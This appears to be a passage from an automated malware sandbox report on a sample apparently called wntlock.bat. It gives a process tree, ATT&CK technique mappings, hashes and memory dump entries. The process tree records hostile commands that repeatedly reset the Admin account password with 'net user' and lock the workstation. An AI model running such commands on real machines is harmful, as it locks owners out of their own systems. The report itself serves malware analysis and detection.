Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2756

C:\Windows\System32\net.exe
net user Admin 239524225
3⤵
PID:1444

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 239524225
4⤵
PID:1380

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2404

C:\Windows\System32\net.exe
net user Admin 985221591
3⤵
PID:2976

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 985221591
4⤵
PID:1820

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2564

C:\Windows\System32\net.exe
net user Admin 259099020
3⤵
PID:1612

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 259099020
4⤵
PID:752

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3168

C:\Windows\System32\net.exe
net user Admin 599928523
3⤵
PID:2808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 599928523
4⤵
PID:3404

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3368

C:\Windows\System32\net.exe
net user Admin 1930518057
3⤵
PID:3632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1930518057
4⤵
PID:4064

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3060

C:\Windows\System32\net.exe
net user Admin 1409121072
3⤵
PID:2284

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1409121072
4⤵
PID:1752

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2084

C:\Windows\System32\net.exe
net user Admin 1710720551
3⤵
PID:3456

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1710720551
4⤵
PID:2136

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3692

C:\Windows\System32\net.exe
net user Admin 2281796
3⤵
PID:3116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2281796
4⤵
PID:1272

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3848

C:\Windows\System32\net.exe
net user Admin 12632383
3⤵
PID:1936

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 12632383
4⤵
PID:1020

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1740

C:\Windows\System32\net.exe
net user Admin 8222266
3⤵
PID:2952

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 8222266
4⤵
PID:3044

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3212

C:\Windows\System32\net.exe
net user Admin 1755330583
3⤵
PID:3784

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1755330583
4⤵
PID:2280

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:952

C:\Windows\System32\net.exe
net user Admin 2265485
3⤵
PID:372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2265485
4⤵
PID:3640

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3960

C:\Windows\System32\net.exe
net user Admin 1967020661
3⤵
PID:4016

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1967020661
4⤵
PID:1512

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1200

C:\Windows\System32\net.exe
net user Admin 1694813522
3⤵
PID:676

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1694813522
4⤵
PID:2744

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:800

C:\Windows\System32\net.exe
net user Admin 316210632
3⤵
PID:396

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 316210632
4⤵
PID:360

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1548

C:\Windows\System32\net.exe
net user Admin 432024482
3⤵
PID:1372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 432024482
4⤵
PID:3136

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2328

C:\Windows\System32\net.exe
net user Admin 2474725235
3⤵
PID:2056

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2474725235
4⤵
PID:3376

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1728

C:\Windows\System32\net.exe
net user Admin 998212232
3⤵
PID:3128

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 998212232
4⤵
PID:3556

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2940

C:\Windows\System32\net.exe
net user Admin 138226539
3⤵
PID:1352

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 138226539
4⤵
PID:2152

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1520

C:\Windows\System32\net.exe
net user Admin 1753923088
3⤵
PID:3560

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1753923088
4⤵
PID:1244

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2560

C:\Windows\System32\net.exe
net user Admin 202578532
3⤵
PID:2876

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 202578532
4⤵
PID:1680

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1756

C:\Windows\System32\net.exe
net user Admin 2427529823
3⤵
PID:2840

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2427529823
4⤵
PID:3744

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2984

C:\Windows\System32\net.exe
net user Admin 1886517767
3⤵
PID:3948

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1886517767
4⤵
PID:3576

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3592

C:\Windows\System32\net.exe
net user Admin 2625829597
3⤵
PID:2964

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2625829597
4⤵
PID:1504

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3148

C:\Windows\System32\net.exe
net user Admin 1294123671
3⤵
PID:3616

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1294123671
4⤵
PID:1828

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1916

C:\Windows\System32\net.exe
net user Admin 811829553
3⤵
PID:900

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 811829553
4⤵
PID:1472

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3500

C:\Windows\System32\net.exe
net user Admin 1601028244
3⤵
PID:3208

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1601028244
4⤵
PID:1304

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1644

C:\Windows\System32\net.exe
net user Admin 1635311243
3⤵
PID:3928

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1635311243
4⤵
PID:1708

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3028

C:\Windows\System32\net.exe
net user Admin 3159328943
3⤵
PID:2400

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3159328943
4⤵
PID:1636

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3652

C:\Windows\System32\net.exe
net user Admin 1815914152
3⤵
PID:1624

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1815914152
4⤵
PID:4052

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1848

C:\Windows\System32\net.exe
net user Admin 333424927
3⤵
PID:1192

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 333424927
4⤵
PID:2408

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:648

C:\Windows\System32\net.exe
net user Admin 178663473
3⤵
PID:3860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 178663473
4⤵
PID:3804

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3076

C:\Windows\System32\net.exe
net user Admin 1915314915
3⤵
PID:3120

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1915314915
4⤵
PID:1188

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:924

C:\Windows\System32\net.exe
net user Admin 192622885
3⤵
PID:2660

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 192622885
4⤵
PID:3872

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:680

C:\Windows\System32\net.exe
net user Admin 208664073
3⤵
PID:60

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 208664073
4⤵
PID:3472

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:576

C:\Windows\System32\net.exe
net user Admin 206502553
3⤵
PID:604

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 206502553
4⤵
PID:620

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1204

C:\Windows\System32\net.exe
net user Admin 2381720943
3⤵
PID:3096

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2381720943
4⤵
PID:708

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2272

C:\Windows\System32\net.exe
net user Admin 1044318013
3⤵
PID:2344

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1044318013
4⤵
PID:3516

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3976

C:\Windows\System32\net.exe
net user Admin 3245230760
3⤵
PID:2996

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3245230760
4⤵
PID:344

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3540

C:\Windows\System32\net.exe
net user Admin 251849729
3⤵
PID:2020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 251849729
4⤵
PID:3568

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1324

C:\Windows\System32\net.exe
net user Admin 10138321
3⤵
PID:3660

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 10138321
4⤵
PID:1676

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2196

C:\Windows\System32\net.exe
net user Admin 2171321111
3⤵
PID:3144

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 2171321111
4⤵
PID:1876

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:1516

C:\Windows\System32\net.exe
net user Admin 830723972
3⤵
PID:2336

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 830723972
4⤵
PID:2836

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2756

C:\Windows\System32\net.exe
net user Admin 3195330330
3⤵
PID:3392

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 3195330330
4⤵
PID:3000

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2404

C:\Windows\System32\net.exe
net user Admin 1270416061
3⤵
PID:2804

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1270416061
4⤵
PID:1900

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2564

C:\Windows\System32\net.exe
net user Admin 304467728
3⤵
PID:3108

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 304467728
4⤵
PID:2012

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3168

C:\Windows\System32\net.exe
net user Admin 1167420923
3⤵
PID:3552

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1167420923
4⤵
PID:3544

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3368

C:\Windows\System32\net.exe
net user Admin 215027820
3⤵
PID:1216

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 215027820
4⤵
PID:3276

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:3060

C:\Windows\System32\net.exe
net user Admin 47909465
3⤵
PID:2360

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 47909465
4⤵
PID:3216

C:\Windows\System32\rundll32.exe
Rundll32.exe user32.dll,LockWorkStation
3⤵
PID:2084

C:\Windows\System32\net.exe
net user Admin 1081319127
3⤵
PID:2332

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user Admin 1081319127
4⤵
PID:1632

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3ad2055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:700

C:\Windows\System32\LockAppHost.exe
C:\Windows\System32\LockAppHost.exe -Embedding
1⤵
PID:1424

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Winlogon Helper DLL

1

T1004

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\wntlock.bat
MD5
fb965c3de86bc0beb16be50a7dd97c22

SHA1
e591e49e45f319d2b973d00e60563e5a7eae959d

SHA256
8a3591052957fbe8729c961de41556cb2c65849dffa55c1ea9d8cb457c42f4c6

SHA512
1f520da1fb5c6bc55f2e1849e5822c461d811399c424110b1893d1497e1f6fcc10435e253428c1f041826cf55373a7bd978fa9fde6402c4487c1a4933d687f0d

Download Submit
\??\PIPE\lsarpc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\lsarpc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\lsarpc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\lsarpc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/68-173-0x0000000000000000-mapping.dmp

Download
memory/316-130-0x0000000000000000-mapping.dmp

Download
memory/344-133-0x0000000000000000-mapping.dmp

Download
memory/372-174-0x0000000000000000-mapping.dmp

Download
memory/372-122-0x0000000000000000-mapping.dmp

Download
memory/396-127-0x0000000000000000-mapping.dmp

Download
memory/396-180-0x0000000000000000-mapping.dmp

Download
memory/436-179-0x0000000000000000-mapping.dmp

Download
memory/516-121-0x0000000000000000-mapping.dmp

Download
memory/520-162-0x0000000000000000-mapping.dmp

Download
memory/648-171-0x0000000000000000-mapping.dmp

Download
memory/660-123-0x0000000000000000-mapping.dmp

Download
memory/660-175-0x0000000000000000-mapping.dmp

Download
memory/676-178-0x0000000000000000-mapping.dmp

Download
memory/676-126-0x0000000000000000-mapping.dmp

Download
memory/832-132-0x0000000000000000-mapping.dmp

Download
memory/900-154-0x0000000000000000-mapping.dmp

Download
memory/1020-118-0x0000000000000000-mapping.dmp

Download
memory/1036-128-0x0000000000000000-mapping.dmp

Download
memory/1100-156-0x0000000000000000-mapping.dmp

Download
memory/1144-135-0x0000000000000000-mapping.dmp

Download
memory/1208-129-0x0000000000000000-mapping.dmp

Download
memory/1208-181-0x0000000000000000-mapping.dmp

Download
memory/1216-155-0x0000000000000000-mapping.dmp

Download
memory/1252-164-0x0000000000000000-mapping.dmp

Download
memory/1268-170-0x0000000000000000-mapping.dmp

Download
memory/1296-120-0x0000000000000000-mapping.dmp

Download
memory/1428-137-0x0000000000000000-mapping.dmp

Download
memory/1484-176-0x0000000000000000-mapping.dmp

Download
memory/1548-134-0x0000000000000000-mapping.dmp

Download
memory/1636-160-0x0000000000000000-mapping.dmp

Download
memory/1680-145-0x0000000000000000-mapping.dmp

Download
memory/1708-157-0x0000000000000000-mapping.dmp

Download
memory/1740-161-0x0000000000000000-mapping.dmp

Download
memory/1876-146-0x0000000000000000-mapping.dmp

Download
memory/1900-144-0x0000000000000000-mapping.dmp

Download
memory/1916-153-0x0000000000000000-mapping.dmp

Download
memory/1948-115-0x0000000000000000-mapping.dmp

Download
memory/2200-149-0x0000000000000000-mapping.dmp

Download
memory/2240-168-0x0000000000000000-mapping.dmp

Download
memory/2328-138-0x0000000000000000-mapping.dmp

Download
memory/2332-158-0x0000000000000000-mapping.dmp

Download
memory/2560-150-0x0000000000000000-mapping.dmp

Download
memory/2568-119-0x0000000000000000-mapping.dmp

Download
memory/2732-166-0x0000000000000000-mapping.dmp

Download
memory/2940-148-0x0000000000000000-mapping.dmp

Download
memory/2952-117-0x0000000000000000-mapping.dmp

Download
memory/3056-131-0x0000000000000000-mapping.dmp

Download
memory/3068-147-0x0000000000000000-mapping.dmp

Download
memory/3216-152-0x0000000000000000-mapping.dmp

Download
memory/3284-124-0x0000000000000000-mapping.dmp

Download
memory/3284-177-0x0000000000000000-mapping.dmp

Download
memory/3392-151-0x0000000000000000-mapping.dmp

Download
memory/3404-159-0x0000000000000000-mapping.dmp

Download
memory/3560-139-0x0000000000000000-mapping.dmp

Download
memory/3568-142-0x0000000000000000-mapping.dmp

Download
memory/3604-140-0x0000000000000000-mapping.dmp

Download
memory/3660-143-0x0000000000000000-mapping.dmp

Download
memory/3848-167-0x0000000000000000-mapping.dmp

Download
memory/3856-165-0x0000000000000000-mapping.dmp

Download
memory/3872-169-0x0000000000000000-mapping.dmp

Download
memory/3960-125-0x0000000000000000-mapping.dmp

Download
memory/3976-136-0x0000000000000000-mapping.dmp

Download
memory/4016-172-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads